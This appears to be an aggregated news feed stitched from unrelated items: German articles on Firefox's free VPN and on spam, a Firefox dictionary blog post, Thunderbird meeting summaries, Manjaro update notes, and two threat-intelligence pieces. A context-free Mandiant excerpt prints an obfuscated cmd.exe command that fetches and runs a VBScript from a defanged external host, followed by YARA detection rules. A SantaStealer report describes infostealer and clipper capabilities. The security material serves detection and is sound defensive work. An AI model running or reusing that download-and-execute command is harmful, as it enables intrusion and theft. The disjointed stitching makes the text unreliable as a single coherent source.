Das kostenlose VPN ist derzeit für Firefox-Nutzer in den USA, Kanada, Großbritannien, Frankreich und Deutschland verfügbar. Und nur ebendiese fünf Länder standen bislang (seit Firefox 150) als VPN-Standorte zur Auswahl. Jetzt erweitert Mozilla die Auswahl vorübergehend auf 28 Länder. Das ist nahe an der Standortauswahl des kostenpflichtigen Mozilla-VPN, das mehr als 30 Länder bietet. Es basiert auf Mullvad-VPN aus Schweden, das aktuell 50 Länder umfasst. Zu den Ländern im Gratis-VPN gehören zusätzlich Australien, Belgien, Bulgarien, Chile, Dänemark, Finnland, Irland, Italien, Kolumbien, Malaysia, Mexiko, Neuseeland, die Niederlande, Norwegen, Österreich, Polen, Portugal, Schweden, die Schweiz, Singapur, Spanien, Südafrika und Thailand.

▶Die neuesten Sicherheits-Updates

Wie Mozilla verlautbart, stehen die erweiterte Länderauswahl und das unbegrenzte Datenvolumen ab sofort den Sommer über zur Verfügung – und das heißt in diesem Fall: bis zum 31. August. Ab 1. September gelten wieder die bisherigen Einschränkungen. Sie können das Gratis-VPN nur innerhalb von Firefox verwenden. Bei Mozilla-VPN gilt der Schutz hingegen für alle Programme. Das Gratis-VPN können Sie mit einem kostenlosen Mozilla-Konto nutzen, fürs Mozilla-VPN müssen Sie ein kostenpflichtiges Abo abschließen. Darauf soll diese Sommeraktion wohl Appetit machen.

fz

Die Sache hat für viele Nutzer noch einen weiteren Haken: Das Gratis-VPN gehört zu den Firefox-Funktionen, die schrittweise aktiviert werden, steht also nicht allen Nutzern sofort zur Verfügung. Auch zwei Monate nach der Einführung gilt es noch immer als Beta-Version und es ist noch nicht bei allen potenziellen Nutzern angekommen. Es ist allerdings denkbar, dass Mozilla im Zuge dieser Sommeraktion auch die Nutzerbasis schneller verbreitert.

Widgets und Hintergrundbilder zur WM

Auch beim Widget zur Fußball-WM kann noch ein wenig Geduld vonnöten sein. Nach einem Firefox-Neustart können die Widgets plötzlich vorhanden sein. Das optionale, konfigurierbare Sport-Widget bietet sowohl Spielergebnisse als auch wahlweise einen Ausblick auf die nächsten Spiele. Außerdem zeigt es an, auf welchem TV-Sender ein Spiel in Ihrem Land übertragen wird. Das funktioniert auch auf Android und iOS.

fz

Sobald in Ihrem Browser verfügbar, finden Sie Widgets und Hintergründe, indem Sie auf der Firefox-Startseite (Neuer-Tab-Seite) rechts unten auf „Anpassen“ klicken. Auch das Firefox-Logo auf der Startseite passt sich dem Thema Fußball an, wenn Sie das Sport-Widget aktivieren. Neben diesem Sport-Widget gibt es auch weitere Widgets, etwa fürs Wetter, eine To-Do-Liste oder eine Weltzeituhr. Das alles müssen Sie nicht nutzen, es ist nur ein Angebot.

Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Am 16. Juni erscheinen Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37.0, Thunderbird 152 und Thunderbird 140.12esr. Einen neuen Tor Browser gibt es dann auch.

Firefox ships with a built-in spellchecker, but it only activates if a dictionary for your language is bundled with the browser. Coverage had grown organically over the years — driven largely by localizers and community members adding support for their own languages. Dictionary work was actually very active in the early years of the Mozilla project, but like many things in a large open-source codebase with a lot to manage, it had quietly received less attention over time, for no particularly good reason. So I decided to change that.

Taking stock

I put together a full inventory dashboard of every third-party dictionary shipped in Firefox Desktop, cataloguing sources, upstream health, and — critically — licensing.

Licensing turns out to be the main bottleneck. Firefox is open-source software, so any dictionary we ship has to carry a licence compatible with the Mozilla codebase. Some excellent dictionaries exist for languages Firefox supports, but their licences don't allow direct inclusion. In those cases, the dictionary can still reach users — but only as a Firefox extension they have to find and install manually, rather than something that just works out of the box.

The goal of the inventory wasn't to point fingers at anything. It was to make the full picture visible, so that anyone who wanted to help would know exactly where to start.

Plugging into the community

Once the inventory existed, the work was really about connecting the right people. Mozilla's localizer community already had the expertise and motivation — what was sometimes missing was a clear entry point. I took care of all the patches myself, so that localizers wouldn't have to deal with the technical side of things. This work was done in coordination with Mozilla's Localization drivers team, who own the dictionary infrastructure and reviewed and merged the changes.

The results

We expanded the number of locales shipping with a built-in dictionary from 30 to 41. This shipped last week with Firefox 151.0.3, and these improvements also benefit Thunderbird users, since both applications share the same dictionary infrastructure.

New dictionaries added: Croatian, English (UK), Georgian, Persian, Slovenian, Tajik, Tamil, Tibetan, Turkish, Welsh, and Xhosa.

Updated dictionaries: Bulgarian, Danish, French, Hungarian, Indonesian, Latvian, Polish, Romansh, and Swedish.

Stirring the pot

Part of the reason for doing this work publicly — building the inventory, filing the bugs, making the gaps visible — was to give people with the right expertise a reason to step in themselves. That's exactly what happened.

For Turkish and Russian, the existing open-source Hunspell dictionaries had become outdated — vocabulary and linguistic rules that hadn't kept pace with how the languages are actually used today. Selim (our Turkish l10n lead) and Valentin (our Russian l10n lead) each decided to take matters into their own hands.

Selim forked the TDD Turkish dictionary and updated it with modern vocabulary, better circumflex support, and performance improvements — the result is hunspell-tr-moz, now shipping in Firefox 151.0.3. Valentin built a new modern Russian dictionary from scratch, ru-spelling-dictionary, released under MPL-2.0. It's currently available as a Firefox extension — if you use Russian, Valentin would appreciate feedback on the quality before it's integrated directly into Firefox.

Both projects are public and open-source.

What's still in the pipeline

The licence question is also quietly resolving itself for a couple more locales. The maintainers of the Kabyle and Asturian dictionaries have agreed to relicense their work to allow direct inclusion in Firefox. Once that's done, those communities will join the list too.

There are still gaps in the inventory. Some are licence issues that may resolve over time. But for many of the remaining locales, the honest answer is that we simply haven't looked hard enough yet. Dictionaries are often individual passion projects or work coming out of linguistics circles — they exist, but finding them takes investigation. If you know of a dictionary for a language Firefox doesn't currently support, that's exactly the kind of lead worth following up on.

An open invitation

Mozilla is still a place where a motivated contributor can find a corner of the project, do meaningful work, and have a real impact — without needing to be a browser engineer or a Mozilla insider.

The inventory dashboard is public. If you're a localizer, a linguist, or a dictionary maintainer and you want to help bring spellchecking to more Firefox users, the gaps are clearly documented. And if you maintain a dictionary that could be included but licensing is an obstacle, that's a conversation worth having.

See you in May 2027 for the next update.

Spam- und Phishing-Mails gehören zum lästigen Alltag – und nerven uns alle. Dabei hat sich die Bedrohung zuletzt deutlich verschärft: Denn die Zeiten, in denen man Betrüger sofort an plumpen Übersetzungsfehlern und holprigem „Google-Translate-Deutsch“ erkennen konnte, sind vorbei.

Mit moderner KI verfassen Kriminelle heute Texte, die grammatikalisch perfekt und im Tonfall absolut professionell wirken. Gleichzeitig greifen die Betrüger mit neuen perfiden Maschen immer tiefer in die Scam-Trickkiste.

Wie eine noch immer aktuelle Bitkom-Studie aus dem Jahr 2025 zeigt, ist die Lage ernst: 61 Prozent der Internetnutzenden waren in den vergangenen zwölf Monaten Opfer von Cyberkriminalität.

Das kann durchaus kostspielig werden: Der durchschnittliche Schaden pro Betroffenem liegt mittlerweile bei 219 Euro. Trotz dieser Zahlen schätzen aber nur 37 Prozent die Gefahr für sich persönlich als hoch ein – eine riskante Lücke in der Selbstwahrnehmung.

Doch jetzt die überraschende Nachricht: Spam-Mails im Postfach sollten Sie nicht immer pauschal löschen. Die betrügerischen Nachrichten können nämlich durchaus einen Zweck erfüllen – allerdings einen ganz anderen, als es die Absender damit im Sinn haben.

Warum Sie Spam-Mails nicht einfach löschen sollten

So komisch es klingt: Spam kann nützlich sein – und zwar für die potenziellen Opfer, die Betrüger eigentlich im Visier haben. Alle größeren Mail-Provider setzen zunehmend auf komplexe, KI-gestützte Spamfilter, die immer besser darin werden, gewünschte E-Mails von unerwünschter Netzpost zu unterscheiden. Eine wichtige Voraussetzung für diesen Lerneffekt: Die Software muss trainiert werden – und genau dafür sind Spam-Mails hilfreich.

Statt Spam-Mails einfach zu löschen, sollten Sie daher wie folgt vorgehen:

• Wenn Sie einen E-Mail-Client wie Outlook oder Thunderbird nutzen: Markieren Sie entsprechende Nachrichten manuell als Spam (oder als „Junk“), falls es Ihr E-Mail-Programm nicht schon selbst erledigt hat. So trainieren Sie den Spamfilter der Software, der Sie mit solchen Nachhilfestunden künftig besser schützen kann. In Unternehmen werden solche Informationen oft an den zentralen Mail-Server weitergegeben, wodurch auch der Filter für Kollegen im Netzwerk schlauer wird.
• Wenn Sie E-Mails über den Browser abrufen: Markieren Sie die Nachrichten im Posteingang und nutzen Sie den Befehl „Spam“ oder „Junk“. Damit melden Sie das Muster direkt an den Provider, der den Filter daraufhin global schärfen kann.

Durch das aktive Markieren werden Sie Teil eines globalen Spam-Immunsystems. Moderne Provider erstellen aus gemeldeten Mails sogenannte Hash-Werte (digitale Fingerabdrücke). Je mehr Nutzer eine Nachricht als Spam melden, desto schneller wird die gesamte Welle weltweit für Millionen andere Konten blockiert. Sie schützen also nicht nur sich selbst, sondern tragen zur kollektiven Sicherheit im Netz bei.

Tipp: Junk-Mails werden in der Regel nach 30 Tagen automatisch aus den entsprechenden Ordnern gelöscht. Speicherplatzprobleme sind daher selten ein Grund zur Sorge, auch wenn man die Nachrichten nicht sofort manuell entfernt. Sollte sich der Junk-Ordner nicht von selbst leeren, reicht es, den Inhalt einmal im Monat zu löschen.

Vorsicht vor der neuen Masche: Quishing

Neben klassischem Text-Spam verbreitet sich aktuell das sogenannte Quishing (QR-Code-Phishing). Dabei verstecken Betrüger bösartige Links in einem QR-Code, den Sie scannen sollen – etwa für eine angebliche Paket-Umleitung oder eine vermeintliche Bank-Verifizierung. Da viele Spam- oder Viren-Filter QR-Codes in Bildern schlechter analysieren können als herkömmliche Links, ist hier besondere Vorsicht geboten. Zudem zielt der Scan oft auf das Smartphone ab, das mitunter schlechter geschützt ist als Ihr PC.

Wichtig: Inzwischen wird Quishing oft mit Social Engineering kombiniert. In der E-Mail wird dann beispielsweise auf ein angebliches Video oder eine wichtige Sprachnachricht verwiesen. Seien Sie misstrauisch, wenn eine Nachricht Sie emotional unter Druck setzt oder zu einer dringenden Handlung auffordert. Perfektes Deutsch ist dank KI heute kein Echtheitsbeweis mehr. Scannen Sie niemals QR-Codes direkt aus einer fragwürdigen E-Mail! Weitere Infos zu Quishing und Vishing finden Sie hier.

Achtung: Spam-Mails niemals abbestellen

Viele Mail-Provider bieten eine einfache Möglichkeit, Newsletter mit einem Klick abzubestellen. Bei Betrugsnachrichten ist das aber gefährlich. Dem Absender teilen Sie damit nämlich ungewollt mit, dass Ihre E-Mail-Adresse existiert und aktiv genutzt wird. Die Kriminellen erhalten so also eine für sie wertvolle Bestätigung – die Frequenz von Spam-Nachrichten kann sich in der Folge noch erhöhen, vielleicht wird Ihre „verifizierte“ E-Mail-Adresse auch an andere Betrüger weitergegeben.

Die besten Antivirus-Programme im Test: So schützen Sie Ihren Windows-PC

Tipps gegen Spam: So verhalten Sie sich richtig

Foundry

Mit ein paar einfachen Regeln können Sie sich besser schützen:

• (KI-)Skepsis: Vertrauen Sie nicht allein auf fehlerfreie Sprache oder gute Grammatik. Achten Sie auch auf den Inhalt. Werden Sie unter Druck gesetzt? Sollen Sie besonders schnell handeln? Das sind klare Warnzeichen.
• Ruhe bewahren: Wenn jemand in einer vermeintlich dringenden E-Mail zu raschem (und damit unüberlegtem) Handeln auffordert, sollten Sie misstrauisch werden. Ehrliche Unternehmen bauen keinen Druck auf Kunden auf und drohen nicht sofort mit Mahnungen, wenn man Aufforderungen nicht sofort nachkommt.
• 2-Faktor-Authentifizierung (2FA): Laut Bitkom-Studie nutzt bislang nur etwa die Hälfte der Nutzer diese Schutzfunktion. Aktivieren Sie 2FA überall, wo es möglich ist – sie ist die effektivste Barriere, falls Zugangsdaten doch einmal in falsche Hände geraten.
• Links und QR-Codes meiden: Geben Sie Internetadressen lieber manuell im Browser ein.
• Keine unbekannten Anhänge öffnen: In Excel-Tabellen, Word-Dokumenten oder HTML-Dateien kann sich Schadsoftware verbergen.

Lesen Sie weiter zum Thema: Phishing, Fake-Shops, Betrug: Sechs Experten verraten, wie Sie sich schützen

Digitale Bodyguards: Mit diesen Antispam- und Antiviren-Programmen sind Sie auf der sicheren Seite

Spammer und Scammer werden immer raffinierter. Selbst erfahrene Nutzer können den dreisten Ganoven auf den Leim gehen. Wer sich besser schützen möchte, kann deswegen zu professioneller Software greifen – die macht den Schurken im Netz das Leben schwer.

Die gefährlichsten Phishing-Betrügereien

Bitdefender Total Security

Foundry

Ergattert auch in den Tests der PC-Welt regelmäßig Spitzenplätze: Bitdefender Total Security hat sich auf den Schutz vor Online-Abzockern und Schadsoftware spezialisiert und bietet Funktionen vom Virenschutz über eine Firewall bis hin zur Abwehr von Ransomware. Bitdefender schützt auch vor Netzwerk-, Web- und E-Mail-Problemen wie Brute-Force-Attacken, nimmt bösartige Links aufs Korn und warnt vor gefährlichen Anhängen im Postfach. Dort spürt die Software auch Spam auf, wenn Sie Mozilla Thunderbird oder Microsoft Outlook nutzen.

Mit einem Scam-Detektor (“Scammio”) können Sie bei Bitdefender auch kostenlos chatten. Dem Bot kann man verdächtige Nachrichten zeigen und eine Einschätzung dazu abfragen.

Hier geht’s zum Angebot

Avast One: Günstige Lösung mit starker Leistung und modernem Design

Foundry

Eine günstige, aber leistungsfähige Lösung für den Spam- und Virenschutz kommt von Avast. Avast One schützt vor Fake-Webseiten, kann unbefugten Zugriff auf die eigene Webcam blockieren und Spam-Nachrichten auf dem Smartphone abwehren. Ähnliche Funktionen finden sich zwar auch bei anderen Anbietern, Avast führt Leistungen aber in einer laienfreundlichen Oberfläche zusammen und bietet Antispam- und Antivirus-Lösungen oft zu relativ günstigen Preisen an.

Hier geht’s zum Angebot

Norton 360 Deluxe – Top-Virenkiller mit umfangreichem Schutz vor Online-Bedrohungen

Foundry

Auch bei Norton ist die Funktionsliste in den vergangenen Jahren immer länger geworden. Das Antivirus-Komplettpaket Norton 360 Deluxe beinhaltet inzwischen mehrere Schutzebenen für die digitale Privatsphäre, kann zuverlässig Bedrohungen in Links und Anhängen aufspüren und im Dark Web nach sensiblen persönlichen Daten forschen. Eine Kindersicherung und ein PC-Dienstprogramm zur Erkennung veralteter und anfälliger Software sind ebenfalls an Bord.

Hier geht’s zum Angebot

Written by: Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, Jonathan Leathery

cmd.exe /c set c=cu7rl --s7sl-no-rev7oke -s -d \"id=CgYEFk
&Prog=2_Mal_vbs.txt&WH=Form.pdf\" -X PO7ST hxxps://
prism-west-candy[.]glitch[.]me/Down -o %temp%\\down.v7bs 
& call %c:7=% & set b=sta7rt \"\" \"%temp%\\down.v7bs\" & call %b:7=%

rule M_APT_Backdoor_NICECURL_1 {
	meta:
		author = "Mandiant"
		md5 = "c23663ebdfbc340457201dbec7469386"
		date_created = "2024-01-18"
	    date_modified = "2024-01-18"
	    rev = "1"
	strings:
		$ = "a = \"llehS.tpircsW\"" ascii wide
		$ = "b = StrReverse(a)" ascii wide
		$ = "Set objShell = wscript.CreateObject(b)"
		$ = "WHFilePath = Temp & \"/\" & ProgName" ascii wide
		$ = "Do While not FileExists(WHFilePath)" ascii wide
		$ = "cmd /C start /MIN curl --ssl-no-revoke -s -d \"\"\"" ascii wide
		$ = "nicecmdPath = Temp & \"/\" & ProgName" ascii wide
		$ = "Function RunCom(Com, Url, nicecmdPath)" ascii wide
		$ = "ComDecode = Base64Decode(Com)" ascii wide
		$ = "InStr(ComDecode, \"kill\")" ascii wide
		$ = "InStr(ComDecode, \"SetNewConfig\")" ascii wide
		$ = "InStr(ComDecode, \"Module\")" ascii wide
		$ = "Sub DeleteFile(filespec)" ascii wide
		$ = "Sub CopyFile(Src, Dst)" ascii wide
		$ = "Function SendData(sUrl, sRequest, nicecmdPath)" ascii wide
		$ = "Function WriteToFile(FilePath, data)" ascii wide
		$ = "Function GetSystemCaption()" ascii wide
		$ = "Function GetPlainSess()" ascii wide
	condition:
	4 of them
}

rule M_APT_Backdoor_NICECURL_datamine_module_1 {
	meta:
		author = "Mandiant"
		md5 = "853687659483d215309941dae391a68f"
		date_created = "2024-01-18"
	    date_modified = "2024-01-18"
	    rev = "1"
	strings:
		$ = "a = \"llehS.tpircsW\"" ascii wide
		$ = "b = StrReverse(a)" ascii wide
		$ = "Set objShell = wscript.CreateObject(b)" ascii wide
		$ = "ModuleName & \" module started successfully.\"" ascii wide
		$ = "SendLog(MAC, Logs, ModuleName, \"Success\")" ascii wide
		$ = "& vbNewLine  & \"*** Ant:\"" ascii wide
		$ = "For Each antivirus in installedAntiviruses" ascii wide
		$ = "list=list & VBNewLine & antivirus.displayName" ascii wide
		$ = "checking the state of the 12th bit of productState property of 
the antivirus" ascii wide
		$ = "For Each item In query_result" ascii wide
		$ = "Set query_result = objWMI.ExecQuery(\"" ascii wide
		$ = "Function SendFile(FilePath, ModuleName)" ascii wide
		$ = "Function SendData(Base64Data, FolderName, FileName, Format)" 
ascii wide
		$ = "call HTTPPost(Url, sRequest)" ascii wide
		$ = "ChunckData = Mid(Base64Data, 1, lengthdata)" ascii wide
		$ = "ChunckData = Mid(Base64Data, (i * lengthdata) + 1)" ascii wide
		$ = "ChunckData = Mid(Base64Data, (i * lengthdata) + 1, lengthdata)" 
ascii wide
		$ = "Function SendLog(MAC, Logs, ModuleName, Status)" ascii wide
	condition:
	4 of them
}

rule M_APT_Backdoor_TAMECAT_2 {
	meta:
		author = "Mandiant"
		md5 = "9c5337e0b1aef2657948fd5e82bdb4c3"
		date_created = "2024-03-05"
	    date_modified = "2024-03-05"
	    rev = "1"
	strings:
		$ = "$a.CreateDecryptor($a.Key,$a.iv)"
		$ = "$CommandParts = \"\""
		$ = "$macP = $env:APPDATA+\"\\"
		$ = "$macP = \"$env:LOCALAPPDATA\\"
		$ = "$mac += Get-Content -Path $macP"
		$ = "$CommandParts =$SessionResponse.Split(\""
		$ = "[string]$CommandPart = \"\";"
		$ = "Foreach ($CommandPart in $CommandParts)"
		$ = "$CommandPart.Split(\"~\");"
		$ = "elseif($StartStop -eq \"stop\")"
		$ = "if($StartStop -eq \"start\")"
		$ = "&(gcm *ke-e*) $Command;"
	condition:
		3 of them and filesize<2MB
}

rule M_APT_Downloader_TAMECAT_NICECURL_VBScript_1 {
    meta:
        author = "Mandiant"
        md5 = "d7bf138d1aa2b70d6204a2f3c3bc72a7"
        date_created = "2024-03-13"
        date_modified = "2024-03-13"
        rev = "1"
    strings:
        $ = "For Each antivirus in installedAntiviruses"
        $ = "list=list & VBNewLine & antivirus.displayName"
        $ = "\"conhost conhost powershell.exe -w 1 -c \""
        $ = "-UseBasicParsing).Content; &(gcm *e-e?p*)$"
        $ = "Set oE = objShell.Exec("
        $ = "\"cmd.exe /c set c=cu9rl --s9sl-no-rev9oke -s -d \""
        $ = "& call %c:9=% & set b=sta9rt"
    condition:
    3 of them
}

rule M_APT_Backdoor_TAMECAT {
    meta:
        author = "Mandiant"
        md5 = "d7bf138d1aa2b70d6204a2f3c3bc72a7"
        date_created = "2024-03-11"
        date_modified = "2024-03-11"
        rev = "1"
  strings:
    $s1 = "OutputCom = OutputCom & \"NOT_FOUND\"" ascii wide
    $s2 = "OutputCom = OutputCom & list" ascii wide
    $s3 = "If  antivirus.productState And &h01000 Then" ascii wide
  condition:
    all of them
}

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The June Accessibility Committee meeting covered progress on automated testing (desktop), updates to the Thunderbird Accessibility Statement, and new community accessibility audits on Desktop Settings and Search. The group also discussed making gesture and keyboard navigation accessible across devices, improving developer guidance and QA testing, and noted that Thunderbird Add-ons site modernization is tentatively planned for the 2027 services roadmap.

Threat actors leverage SantaStealer for stealer logs generation, account takeover campaigns, crypto theft, and large-scale data breach operations across darkweb ecosystems

What is SantaStealer?

SantaStealer, a newly identified Malware-as-a-Service (MaaS) infostealer, is being actively marketed within cybercriminal communities as a modular credential theft platform capable of harvesting browser credentials, session cookies, crypto wallet data, VPN configurations, FTP credentials, gaming accounts, and email client sessions. The malware also integrates a cryptocurrency clipper capable of silently hijacking copied wallet addresses during transactions, enabling direct crypto theft even when credential harvesting operations yield limited results. Researchers from TW360 Threat Intelligence assess SantaStealer as part of the growing industrialization of the infostealer ecosystem, where threat actors monetize stolen credentials, stealer logs, authentication cookies, and financial data through darkweb marketplaces, Telegram channels, and initial access broker networks.

SantaStealer Login Portal and Affiliate Access

The operation exposes a branded affiliate-facing login panel designed for controlled onboarding and malware distribution management. Unlike open-access commodity malware services, SantaStealer appears to rely on account-key provisioning rather than self-registration, indicating a more curated affiliate model commonly observed among mature cybercrime operations. The onboarding workflow reflects a commercially structured Malware-as-a-Service infrastructure focused on scalability, affiliate management, and operational control. The branding, clean interface, and simplified access process further demonstrate how modern cybercriminal operations increasingly mirror legitimate SaaS business models.

Modular Stealer Builder Enables Targeted Data Theft

Once authenticated, affiliates gain access to the SantaStealer build configuration dashboard, where individual modules can be selectively enabled or disabled depending on operational requirements. The malware builder supports harvesting browser credentials, saved passwords, session cookies, crypto wallet files, FTP credentials, VPN configurations, gaming sessions, and email client data. Observed application targets include FileZilla, Atomic Wallet, Electrum Wallet, Cake Wallet, Ledger Live, Steam, Microsoft Outlook, Thunderbird, and WinSCP, indicating that the malware is specifically engineered to target both consumer and enterprise authentication artifacts.

The panel explicitly references %APPDATA% and %LOCALAPPDATA% paths used for credential extraction and session harvesting. Additional functionality exposed in the builder includes Telegram Bot API exfiltration, fake error popup generation, configurable execution delays, campaign watermarking, and custom application path targeting. The “Application Data Collector” module appears specifically designed to aggregate authentication artifacts across browsers, VPN clients, FTP software, gaming platforms, and cryptocurrency applications within a single execution cycle, increasing the likelihood of successful account takeover and credential abuse operations.

Crypto Clipper Targets Cryptocurrency Transactions

SantaStealer also includes a separately compiled cryptocurrency clipper module designed for wallet hijacking and transaction interception. The clipper continuously monitors clipboard activity and automatically replaces copied cryptocurrency wallet addresses with attacker-controlled alternatives before transactions are completed. Supported blockchain ecosystems include Bitcoin, Ethereum, Monero, Litecoin, Solana, Ripple, Dogecoin, and TRON, demonstrating broad targeting across mainstream cryptocurrency networks.

Researchers observed that the clipper module is encrypted independently before being bundled into the final payload through the loader and dropper functionality. Notably, panel documentation indicates that if affiliates fail to configure replacement wallet addresses, default operator-controlled wallets may automatically be used instead. This mechanism potentially creates an additional passive monetization stream for the malware operators themselves, allowing them to profit even from poorly configured affiliate campaigns.

Feature Matrix Reveals Technical Capabilities

The SantaStealer feature comparison panel provides additional insight into the malware’s technical capabilities and operational design. The operator advertises fully silent execution, no visible console windows, minimal CPU usage, Windows 7, 10, and 11 compatibility, heuristic file discovery, crypto keyword scanning, modular architecture across 14 modules, and optional CIS region blocking functionality. The malware claims asynchronous data collection completing within approximately five seconds of execution, producing uncompressed stealer logs ranging between 1 MB and 10 MB.

The optional CIS filtering functionality is particularly notable because it mirrors operational security patterns frequently associated with Russian-speaking cybercriminal groups attempting to avoid regional law enforcement attention. Premium and Lifetime subscription tiers additionally unlock heuristic crypto-related file targeting and recursive file discovery functionality, significantly increasing the malware’s ability to identify sensitive financial and authentication-related data across infected systems.

Subscription Pricing and Criminal Monetization

SantaStealer is monetized using a tiered subscription structure that closely resembles legitimate commercial software licensing models. The Basic plan is priced at $200 per month, while the Premium plan costs $300 per month and unlocks additional functionality including heuristic scanning, expanded targeting capabilities, and cryptocurrency clipper support. A Lifetime plan is also advertised for a one-time payment of $1,000, positioning the malware as a long-term operational investment for threat actors conducting persistent credential theft and financial fraud campaigns.

Researchers assess that SantaStealer operators likely generate revenue through two separate monetization channels simultaneously. The first comes from affiliate subscription payments, while the second likely originates from passive cryptocurrency theft through clipper misconfigurations where default operator wallet addresses remain active. This architecture incentivizes widespread deployment regardless of affiliate sophistication and reflects the broader commercialization trend currently dominating the Malware-as-a-Service ecosystem.

Threat Intelligence Assessment

SantaStealer represents a growing category of advanced infostealers engineered for scalable credential theft, session hijacking, account takeover, and financial fraud operations. The malware’s combination of browser credential theft, session cookie harvesting, Telegram-based exfiltration, crypto wallet extraction, clipboard hijacking, modular payload generation, and stealer log creation positions it as a significant threat for organizations facing phishing campaigns, ransomware intrusions, business email compromise (BEC), and darkweb credential exposure.

The increasing availability of MaaS infostealers significantly lowers the barrier to entry for cybercriminal affiliates, enabling even low-skilled threat actors to conduct sophisticated credential theft and data breach operations at scale. The commercialization of stealer malware also increases the availability of stolen authentication artifacts across darkweb ecosystems, directly contributing to credential stuffing attacks, enterprise account takeover incidents, and unauthorized access operations targeting both individuals and organizations.

Indicators of Compromise (IOCs)

SHA-256:
055d777c3d38269f07d454f07abc985dfa52493b669cd3cc687304a0a6425122

Infrastructure:
Telegram Bot API: Operator-Controlled C2 Panel

VirusTotal: https://www.virustotal.com/gui/file/055d777c3d38269f07d454f07abc985dfa52493b669cd3cc687304a0a6425122

Detection and Mitigation Recommendations

Organizations should immediately block the identified SHA-256 hash across endpoints, email gateways, proxies, and SIEM platforms. SOC teams should monitor for suspicious connections to api.telegram.org, unusual clipboard activity, and unauthorized access to browser credential stores, VPN configurations, FTP clients, email applications, and crypto wallet files.

Since SantaStealer steals passwords, session cookies, and authentication data, exposed credentials should be reset immediately and all active sessions should be revoked to prevent account takeover. Organizations should also enforce phishing-resistant MFA such as FIDO2 or WebAuthn security keys, as stolen session cookies can bypass traditional MFA protections.

Infostealer malware like SantaStealer often leads to stolen credentials and stealer logs being sold on darkweb forums and Telegram channels, increasing the risk of ransomware, account takeover, and data breach incidents.

ThreatWatch360’s BreachEye Darkweb Monitoring Platform helps CISO, SOC, and IT teams identify exposed employee credentials, stealer log infections, leaked corporate accounts, and darkweb data breach activity in real time.

SantaStealer Emerges as Advanced MaaS Infostealer Targeting Credentials, Crypto Wallets, and… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

In April, the Design System committee continued work on tokens, JSON export, documentation, accessibility guidance, and public release planning, while also discussing changelog structure, versioning, Bolt identity ideas, and ways to grow the community. There is an open seat for a community member. If you are interested send a msg in our matrix channel: Bolt Design System: https://matrix.to/#/#bolt-design-system:mozilla.org

This month, the committee shares updates on accent colours in desktop, design system process, documentation, and how we might handle public releases and versioning. A few items are still moving slowly because of other priorities, but there is progress in areas like governance research and planning next steps.

The March accessibility meeting focused on progress across our accessibility statement, guidelines, testing, and success metrics, while also identifying gaps in automation, documentation, and user feedback. We also discussed how to better support and involve the community so our accessibility work is informed, practical, and visible across all Thunderbird experiences.

The April accessibility meeting focused on improving the draft accessibility statement, planning the structure of the new guidelines, and discussing where this work should be shared so it reaches both contributors and the wider community. We also explored ways to build stronger accessibility connections through community spaces and outlined a few clear next steps for feedback and follow-up.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of June, beginning of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.

Current Promotions

• Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Manjaro 26.1 Bian-May - Preview released
• Manjaro 26.0 Anh-Linh released
• Manjaro Summit public Alpha now available
• As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
• As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
• As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Notable Package Updates

• Kernels got all updated
  • linux617-rt got removed
  • linux-firmware uses now zst compression
• Firefox 151.0.1
• Thunderbird 151.0
• Fixes to gstreamer and pipewire
• Blender 5.1.2
• NVIDIA 580.159.04
• Vivaldi 8.0
• Firefox 151.0
• Thunderbird 150.0.2
• Mesa 26.1.1
• Qt5 5.15.19
• Updates to Deepin and Python

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux61 6.1.174
• linux66 6.6.141
• linux612 6.12.91
• linux618 6.18.33
• linux70 7.0.10
• linux71 7.1.0-rc5
• linux61-rt 6.1.167_rt62
• linux66-rt 6.6.135_rt74
• linux612-rt 6.12.89_rt18

Package Changes (5/26/26 07:53 CEST)

• stable core x86_64: 46 new and 48 removed package(s)
• stable extra x86_64: 2177 new and 2353 removed package(s)
• stable multilib x86_64: 31 new and 31 removed package(s)

A list of all package changes can be found here.

Click to view the poll.

Check if your mirror has already synced:

• Mirror-Check Service

2 posts - 2 participants

Read full topic

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of June, beginning of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.

Current Promotions

• Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Manjaro 26.1 Bian-May - Preview released
• Manjaro 26.0 Anh-Linh released
• Manjaro Summit public Alpha now available
• As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
• As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.
